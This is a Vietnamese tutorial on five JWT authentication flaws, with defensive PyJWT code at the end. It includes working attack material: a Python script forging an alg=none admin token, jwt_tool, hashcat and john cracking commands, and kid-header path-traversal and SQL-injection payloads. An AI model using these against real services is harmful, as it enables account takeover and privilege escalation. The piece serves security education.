JWT (JSON Web Token) được dùng rộng rãi cho authentication, nhưng implementation sai dẫn đến nhiều lỗ hổng nghiêm trọng. Bài này phân tích 5 lỗ hổng phổ biến nhất.
Cấu trúc JWT
# JWT gồm 3 phần, cách nhau bởi dấu chấm:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwibmFtZSI6ImRhbmgiLCJyb2xlIjoidXNlciJ9.signature
# Header (base64url decoded):
{"alg": "HS256", "typ": "JWT"}
# Payload (base64url decoded):
{"sub": "1234", "name": "danh", "role": "user"}
# Signature: HMACSHA256(base64url(header) + "." + base64url(payload), secret)
1. Algorithm Confusion — None algorithm
import base64, json
def b64url_encode(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b'=').decode()
# Tạo JWT giả với alg=none
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "1234", "name": "danh", "role": "admin"} # ← escalate!
fake_jwt = f"{b64url_encode(header)}.{b64url_encode(payload)}."
print(fake_jwt)
# Nếu server accept → bypass authentication hoàn toàn
2. HS256 với Public Key — RS256 to HS256
# Một số server dùng RS256 (asymmetric), public key public
# Nếu chuyển alg sang HS256 và ký bằng public key...
# Server verify bằng public key với HS256 → match!
# Tool: jwt_tool
python3 jwt_tool.py TOKEN -X k -pk public.pem
3. Weak Secret — Brute Force
# jwt_tool brute force
python3 jwt_tool.py TOKEN -C -d rockyou.txt
# hashcat
hashcat -a 0 -m 16500 token.txt rockyou.txt
# john
john --wordlist=rockyou.txt --format=HMAC-SHA256 hash.txt
4. JWT Header Injection — kid parameter
# kid (key ID) chỉ định file chứa secret key
# Nếu server dùng: secret = readFile(header.kid)
# Exploit 1: Path traversal
{"alg": "HS256", "kid": "../../dev/null"}
# secret = "" (empty) → ký token với empty string
# Exploit 2: SQL injection trong kid
{"alg": "HS256", "kid": "' UNION SELECT 'mykey'-- -"}
# secret = "mykey" → ký với key đã biết
# Tạo token exploit
python3 jwt_tool.py TOKEN -T -S hs256 -p ""
5. Expired Token Acceptance
# Xóa hoặc thay đổi exp claim
# Một số server không check expiration!
payload = {
"sub": "1234",
"role": "admin",
# Không có "exp" field → không bao giờ hết hạn
}
Phòng chống
# Python — best practices với PyJWT
import jwt
# LUÔN chỉ định algorithms được phép
payload = jwt.decode(
token,
SECRET_KEY,
algorithms=["HS256"], # KHÔNG dùng ["HS256", "none"]
options={"verify_exp": True} # check expiration
)
# Dùng secret key đủ mạnh (>= 256 bits)
import secrets
SECRET_KEY = secrets.token_hex(32)
# Với production: dùng RS256 và giữ private key an toàn